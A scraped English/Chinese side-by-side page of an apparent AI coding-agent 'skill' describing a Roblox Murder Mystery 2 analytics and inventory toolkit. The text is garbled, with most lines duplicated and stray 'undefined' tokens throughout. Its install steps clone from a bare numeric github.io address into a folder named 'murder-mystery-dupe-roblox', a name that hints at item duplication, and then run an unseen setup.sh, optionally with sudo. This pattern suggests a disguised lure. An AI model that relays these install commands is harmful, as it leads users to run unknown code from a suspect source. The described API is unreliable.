mm2-analytics-roblox-tracker
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseMM2 Analytics Roblox Tracker
MM2 Analytics Roblox追踪器
Skill by ara.so — Data Skills collection.
This project is an analytics and inventory management toolkit for Roblox's Murder Mystery 2 game. It provides data visualization, inventory tracking, strategy analysis, and performance metrics to help players optimize their gameplay through data-driven insights.
由ara.so开发的Skill——Data Skills合集。
本项目是针对Roblox游戏《Murder Mystery 2》的分析与库存管理工具包。它提供数据可视化、库存追踪、策略分析及性能指标功能,帮助玩家通过数据驱动的洞察优化游戏玩法。
What It Does
功能介绍
The MM2 Analytics Dashboard offers:
- Inventory Management: Track knife skins, gamepasses, and collection completeness
- Analytics Engine: Visualize win/loss ratios, performance metrics, and strategy patterns
- AI-Powered Insights: Pattern recognition and predictive modeling for inventory values
- Multi-platform Support: Desktop, tablet, mobile, and web browser compatibility
- Export Capabilities: Export statistics in JSON/CSV formats
MM2 Analytics仪表盘提供以下功能:
- 库存管理:追踪刀具皮肤、游戏通行证及收藏完成度
- 分析引擎:可视化胜负率、性能指标及策略模式
- AI驱动洞察:库存价值的模式识别与预测建模
- 多平台支持:兼容桌面端、平板、移动端及网页浏览器
- 导出功能:以JSON/CSV格式导出统计数据
Installation
安装
Automated Setup
自动安装
bash
chmod +x setup.sh
./setup.sh --installbash
chmod +x setup.sh
./setup.sh --installManual Installation
手动安装
bash
undefinedbash
undefinedClone the repository
Clone the repository
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
Install dependencies
Install dependencies
npm install
python3 -m pip install -r requirements.txt
undefinednpm install
python3 -m pip install -r requirements.txt
undefinedSystem Requirements
系统要求
- OS: Windows 10/11, macOS Ventura+, Ubuntu 22.04+
- Python: 3.8+
- Node.js: 16+
- Browser: Chrome 120+, Firefox 121+
- 操作系统:Windows 10/11、macOS Ventura+、Ubuntu 22.04+
- Python:3.8+
- Node.js:16+
- 浏览器:Chrome 120+、Firefox 121+
Configuration
配置
Environment Variables
环境变量
Create a file in the project root:
.envbash
undefined在项目根目录创建文件:
.envbash
undefinedAPI Keys (optional for AI features)
API Keys (optional for AI features)
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
Data Configuration
Data Configuration
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
Export Settings
Export Settings
EXPORT_FORMAT=json
LOG_LEVEL=INFO
undefinedEXPORT_FORMAT=json
LOG_LEVEL=INFO
undefinedProfile Configuration
配置文件
Create or edit :
config/profile.yamlyaml
profile:
username: "MysterySolver2026"
preferred_role: "sheriff"
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient"]
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: "csv, json"
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
- name: "passive_innocent"
priority: "distraction_avoidance"创建或编辑:
config/profile.yamlyaml
profile:
username: "MysterySolver2026"
preferred_role: "sheriff"
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient"]
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: "csv, json"
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
- name: "passive_innocent"
priority: "distraction_avoidance"Key Commands (CLI)
核心命令(CLI)
Analytics Mode
分析模式
Run comprehensive analytics on your gameplay data:
bash
python3 main.py --mode analytics \
--profile mystery_solver_01 \
--export statistics_2026.json \
--format json \
--verbose对游戏玩法数据执行全面分析:
bash
python3 main.py --mode analytics \
--profile mystery_solver_01 \
--export statistics_2026.json \
--format json \
--verboseInventory Scan
库存扫描
Scan and catalog your MM2 inventory:
bash
python3 main.py --mode inventory \
--scan-knife-skins \
--scan-gamepasses \
--output inventory_report.csv扫描并分类你的MM2库存:
bash
python3 main.py --mode inventory \
--scan-knife-skins \
--scan-gamepasses \
--output inventory_report.csvStrategy Analysis
策略分析
Analyze gameplay patterns and generate strategy recommendations:
bash
python3 main.py --mode strategy \
--analyze-patterns \
--role sheriff \
--export strategy_insights.json分析游戏玩法模式并生成策略建议:
bash
python3 main.py --mode strategy \
--analyze-patterns \
--role sheriff \
--export strategy_insights.jsonLive Tracking
实时追踪
Enable real-time gameplay tracking:
bash
python3 main.py --mode live \
--track-performance \
--interval 30 \
--log-level DEBUG启用游戏玩法实时追踪:
bash
python3 main.py --mode live \
--track-performance \
--interval 30 \
--log-level DEBUGPython API Usage
Python API 使用示例
Basic Analytics
基础分析
python
from mm2_analytics import AnalyticsEngine, ProfileLoaderpython
from mm2_analytics import AnalyticsEngine, ProfileLoaderLoad user profile
Load user profile
profile = ProfileLoader.load("mystery_solver_01")
profile = ProfileLoader.load("mystery_solver_01")
Initialize analytics engine
Initialize analytics engine
engine = AnalyticsEngine(profile)
engine = AnalyticsEngine(profile)
Run comprehensive analysis
Run comprehensive analysis
results = engine.analyze(
mode="comprehensive",
include_inventory=True,
include_strategy=True
)
results = engine.analyze(
mode="comprehensive",
include_inventory=True,
include_strategy=True
)
Export results
Export results
engine.export(results, format="json", output="stats.json")
undefinedengine.export(results, format="json", output="stats.json")
undefinedInventory Management
库存管理
python
from mm2_analytics import InventoryManagerpython
from mm2_analytics import InventoryManagerInitialize inventory manager
Initialize inventory manager
inventory = InventoryManager(data_dir="./data/collections")
inventory = InventoryManager(data_dir="./data/collections")
Scan for knife skins
Scan for knife skins
knife_skins = inventory.scan_knife_skins(
rarity_filter=["legendary", "ancient"]
)
print(f"Found {len(knife_skins)} knife skins")
knife_skins = inventory.scan_knife_skins(
rarity_filter=["legendary", "ancient"]
)
print(f"Found {len(knife_skins)} knife skins")
Check collection completeness
Check collection completeness
completeness = inventory.calculate_completeness()
print(f"Collection {completeness['percentage']}% complete")
completeness = inventory.calculate_completeness()
print(f"Collection {completeness['percentage']}% complete")
Get missing items
Get missing items
missing = inventory.get_missing_items(category="knife_skins")
undefinedmissing = inventory.get_missing_items(category="knife_skins")
undefinedStrategy Pattern Analysis
策略模式分析
python
from mm2_analytics import StrategyAnalyzerpython
from mm2_analytics import StrategyAnalyzerInitialize strategy analyzer
Initialize strategy analyzer
analyzer = StrategyAnalyzer()
analyzer = StrategyAnalyzer()
Load gameplay history
Load gameplay history
analyzer.load_history("./data/gameplay_history.json")
analyzer.load_history("./data/gameplay_history.json")
Analyze patterns for sheriff role
Analyze patterns for sheriff role
sheriff_patterns = analyzer.analyze_role("sheriff", {
"priority": "high_visibility_areas",
"playstyle": "aggressive"
})
sheriff_patterns = analyzer.analyze_role("sheriff", {
"priority": "high_visibility_areas",
"playstyle": "aggressive"
})
Get win rate by strategy
Get win rate by strategy
win_rates = analyzer.get_win_rates_by_strategy()
win_rates = analyzer.get_win_rates_by_strategy()
Generate recommendations
Generate recommendations
recommendations = analyzer.recommend_strategy(
current_win_rate=0.65,
target_win_rate=0.75
)
undefinedrecommendations = analyzer.recommend_strategy(
current_win_rate=0.65,
target_win_rate=0.75
)
undefinedData Visualization
数据可视化
python
from mm2_analytics import DataVisualizerpython
from mm2_analytics import DataVisualizerInitialize visualizer
Initialize visualizer
viz = DataVisualizer()
viz = DataVisualizer()
Create performance dashboard
Create performance dashboard
viz.create_dashboard(
data_source="./data/statistics_2026.json",
charts=["win_loss_ratio", "role_performance", "inventory_value"],
output="dashboard.html"
)
viz.create_dashboard(
data_source="./data/statistics_2026.json",
charts=["win_loss_ratio", "role_performance", "inventory_value"],
output="dashboard.html"
)
Generate inventory chart
Generate inventory chart
viz.plot_inventory_distribution(
inventory_data=knife_skins,
group_by="rarity",
save_as="inventory_chart.png"
)
undefinedviz.plot_inventory_distribution(
inventory_data=knife_skins,
group_by="rarity",
save_as="inventory_chart.png"
)
undefinedCommon Patterns
常见使用模式
Automated Daily Reports
自动生成每日报告
python
import schedule
import time
from mm2_analytics import AnalyticsEngine, ProfileLoader
def generate_daily_report():
profile = ProfileLoader.load("mystery_solver_01")
engine = AnalyticsEngine(profile)
results = engine.analyze(mode="comprehensive")
engine.export(
results,
format="json",
output=f"daily_report_{time.strftime('%Y%m%d')}.json"
)
print(f"Daily report generated at {time.strftime('%Y-%m-%d %H:%M:%S')}")python
import schedule
import time
from mm2_analytics import AnalyticsEngine, ProfileLoader
def generate_daily_report():
profile = ProfileLoader.load("mystery_solver_01")
engine = AnalyticsEngine(profile)
results = engine.analyze(mode="comprehensive")
engine.export(
results,
format="json",
output=f"daily_report_{time.strftime('%Y%m%d')}.json"
)
print(f"Daily report generated at {time.strftime('%Y-%m-%d %H:%M:%S')}")Schedule daily report at 11 PM
Schedule daily report at 11 PM
schedule.every().day.at("23:00").do(generate_daily_report)
while True:
schedule.run_pending()
time.sleep(60)
undefinedschedule.every().day.at("23:00").do(generate_daily_report)
while True:
schedule.run_pending()
time.sleep(60)
undefinedAI-Powered Strategy Suggestions
AI驱动策略建议
python
import os
from mm2_analytics import StrategyAnalyzer, AIIntegrationpython
import os
from mm2_analytics import StrategyAnalyzer, AIIntegrationInitialize with API keys from environment
Initialize with API keys from environment
ai = AIIntegration(
openai_key=os.getenv("API_OPENAI_KEY"),
claude_key=os.getenv("API_CLAUDE_KEY")
)
analyzer = StrategyAnalyzer()
analyzer.load_history("./data/gameplay_history.json")
ai = AIIntegration(
openai_key=os.getenv("API_OPENAI_KEY"),
claude_key=os.getenv("API_CLAUDE_KEY")
)
analyzer = StrategyAnalyzer()
analyzer.load_history("./data/gameplay_history.json")
Get AI-powered suggestions
Get AI-powered suggestions
current_stats = analyzer.get_current_stats()
suggestions = ai.generate_suggestions(
role="sheriff",
current_stats=current_stats,
model="claude" # or "openai"
)
print("AI Recommendations:")
for suggestion in suggestions:
print(f"- {suggestion['text']} (confidence: {suggestion['confidence']})")
undefinedcurrent_stats = analyzer.get_current_stats()
suggestions = ai.generate_suggestions(
role="sheriff",
current_stats=current_stats,
model="claude" # or "openai"
)
print("AI Recommendations:")
for suggestion in suggestions:
print(f"- {suggestion['text']} (confidence: {suggestion['confidence']})")
undefinedBatch Export Multiple Formats
批量导出多种格式
python
from mm2_analytics import AnalyticsEngine, ExportManager
engine = AnalyticsEngine(ProfileLoader.load("mystery_solver_01"))
results = engine.analyze(mode="comprehensive")
exporter = ExportManager(results)python
from mm2_analytics import AnalyticsEngine, ExportManager
engine = AnalyticsEngine(ProfileLoader.load("mystery_solver_01"))
results = engine.analyze(mode="comprehensive")
exporter = ExportManager(results)Export in multiple formats
Export in multiple formats
formats = ["json", "csv", "yaml", "xml"]
for fmt in formats:
exporter.export(
format=fmt,
output=f"statistics_2026.{fmt}",
include_metadata=True
)
print(f"Exported to statistics_2026.{fmt}")
undefinedformats = ["json", "csv", "yaml", "xml"]
for fmt in formats:
exporter.export(
format=fmt,
output=f"statistics_2026.{fmt}",
include_metadata=True
)
print(f"Exported to statistics_2026.{fmt}")
undefinedReal-Time Performance Tracking
实时性能追踪
python
from mm2_analytics import LiveTrackerpython
from mm2_analytics import LiveTrackerInitialize live tracker
Initialize live tracker
tracker = LiveTracker(
profile="mystery_solver_01",
interval=30,
auto_save=True
)
tracker = LiveTracker(
profile="mystery_solver_01",
interval=30,
auto_save=True
)
Define custom event handlers
Define custom event handlers
@tracker.on_match_complete
def handle_match(match_data):
print(f"Match completed: {match_data['result']}")
print(f"Role: {match_data['role']}")
print(f"Duration: {match_data['duration']}s")
@tracker.on_inventory_change
def handle_inventory(item):
print(f"New item acquired: {item['name']} ({item['rarity']})")
@tracker.on_match_complete
def handle_match(match_data):
print(f"Match completed: {match_data['result']}")
print(f"Role: {match_data['role']}")
print(f"Duration: {match_data['duration']}s")
@tracker.on_inventory_change
def handle_inventory(item):
print(f"New item acquired: {item['name']} ({item['rarity']})")
Start tracking
Start tracking
tracker.start()
undefinedtracker.start()
undefinedTroubleshooting
故障排除
Installation Issues
安装问题
Problem: during import
ModuleNotFoundErrorbash
undefined问题:导入时出现
ModuleNotFoundErrorbash
undefinedVerify Python path
Verify Python path
python3 -c "import sys; print(sys.path)"
python3 -c "import sys; print(sys.path)"
Reinstall dependencies
Reinstall dependencies
pip install --upgrade -r requirements.txt --user
**Problem**: Permission denied on `setup.sh`
```bashpip install --upgrade -r requirements.txt --user
**问题**:`setup.sh`权限被拒绝
```bashFix permissions
Fix permissions
chmod +x setup.sh
chmod +x setup.sh
Run with sudo if needed
Run with sudo if needed
sudo ./setup.sh --install
undefinedsudo ./setup.sh --install
undefinedData Loading Errors
数据加载错误
Problem: Profile not found
python
from mm2_analytics import ProfileLoader问题:未找到配置文件
python
from mm2_analytics import ProfileLoaderList available profiles
List available profiles
profiles = ProfileLoader.list_profiles()
print(f"Available profiles: {profiles}")
profiles = ProfileLoader.list_profiles()
print(f"Available profiles: {profiles}")
Create new profile
Create new profile
ProfileLoader.create_profile(
username="new_user",
template="default"
)
**Problem**: Corrupted data files
```bashProfileLoader.create_profile(
username="new_user",
template="default"
)
**问题**:数据文件损坏
```bashValidate data integrity
Validate data integrity
python3 main.py --validate-data --repair
python3 main.py --validate-data --repair
Reset to defaults
Reset to defaults
python3 main.py --reset-data --confirm
undefinedpython3 main.py --reset-data --confirm
undefinedAPI Integration Issues
API集成问题
Problem: AI features not working
python
import os问题:AI功能无法使用
python
import osCheck environment variables
Check environment variables
required_vars = ["API_OPENAI_KEY", "API_CLAUDE_KEY"]
for var in required_vars:
if not os.getenv(var):
print(f"Warning: {var} not set")
required_vars = ["API_OPENAI_KEY", "API_CLAUDE_KEY"]
for var in required_vars:
if not os.getenv(var):
print(f"Warning: {var} not set")
Test API connection
Test API connection
from mm2_analytics import AIIntegration
ai = AIIntegration(openai_key=os.getenv("API_OPENAI_KEY"))
connection_ok = ai.test_connection()
print(f"API connection: {'OK' if connection_ok else 'FAILED'}")
undefinedfrom mm2_analytics import AIIntegration
ai = AIIntegration(openai_key=os.getenv("API_OPENAI_KEY"))
connection_ok = ai.test_connection()
print(f"API connection: {'OK' if connection_ok else 'FAILED'}")
undefinedPerformance Optimization
性能优化
Problem: Slow analytics processing
python
from mm2_analytics import AnalyticsEngine问题:分析处理速度缓慢
python
from mm2_analytics import AnalyticsEngineEnable caching
Enable caching
engine = AnalyticsEngine(
profile=profile,
enable_cache=True,
cache_ttl=3600
)
engine = AnalyticsEngine(
profile=profile,
enable_cache=True,
cache_ttl=3600
)
Use incremental analysis
Use incremental analysis
results = engine.analyze(
mode="incremental",
since_timestamp="2026-05-15T00:00:00Z"
)
**Problem**: High memory usage
```bashresults = engine.analyze(
mode="incremental",
since_timestamp="2026-05-15T00:00:00Z"
)
**问题**:内存占用过高
```bashRun with memory constraints
Run with memory constraints
python3 main.py --mode analytics
--max-memory 2GB
--batch-size 100
--streaming-mode
--max-memory 2GB
--batch-size 100
--streaming-mode
undefinedpython3 main.py --mode analytics
--max-memory 2GB
--batch-size 100
--streaming-mode
--max-memory 2GB
--batch-size 100
--streaming-mode
undefinedExport Issues
导出问题
Problem: Invalid export format
python
from mm2_analytics import ExportManager问题:导出格式无效
python
from mm2_analytics import ExportManagerCheck supported formats
Check supported formats
supported = ExportManager.get_supported_formats()
print(f"Supported formats: {', '.join(supported)}")
supported = ExportManager.get_supported_formats()
print(f"Supported formats: {', '.join(supported)}")
Use format validation
Use format validation
exporter = ExportManager(results)
if exporter.validate_format("json"):
exporter.export(format="json", output="stats.json")
undefinedexporter = ExportManager(results)
if exporter.validate_format("json"):
exporter.export(format="json", output="stats.json")
undefinedAdvanced Usage
进阶用法
Custom Data Pipelines
自定义数据管道
python
from mm2_analytics import DataPipeline, Transformerpython
from mm2_analytics import DataPipeline, TransformerCreate custom pipeline
Create custom pipeline
pipeline = DataPipeline()
pipeline = DataPipeline()
Add transformation stages
Add transformation stages
pipeline.add_stage(Transformer.normalize_timestamps())
pipeline.add_stage(Transformer.filter_by_role("sheriff"))
pipeline.add_stage(Transformer.aggregate_by_date())
pipeline.add_stage(Transformer.calculate_win_rate())
pipeline.add_stage(Transformer.normalize_timestamps())
pipeline.add_stage(Transformer.filter_by_role("sheriff"))
pipeline.add_stage(Transformer.aggregate_by_date())
pipeline.add_stage(Transformer.calculate_win_rate())
Process data
Process data
raw_data = pipeline.load_from("./data/raw_gameplay.json")
processed = pipeline.execute(raw_data)
pipeline.save_to("./data/processed_gameplay.json", processed)
This skill enables AI coding agents to effectively assist developers in using the MM2 Analytics toolkit for Roblox Murder Mystery 2 data analysis, inventory management, and strategy optimization.raw_data = pipeline.load_from("./data/raw_gameplay.json")
processed = pipeline.execute(raw_data)
pipeline.save_to("./data/processed_gameplay.json", processed)
本Skill可让AI编码代理有效协助开发者使用MM2 Analytics工具包进行Roblox《Murder Mystery 2》的数据分析、库存管理及策略优化。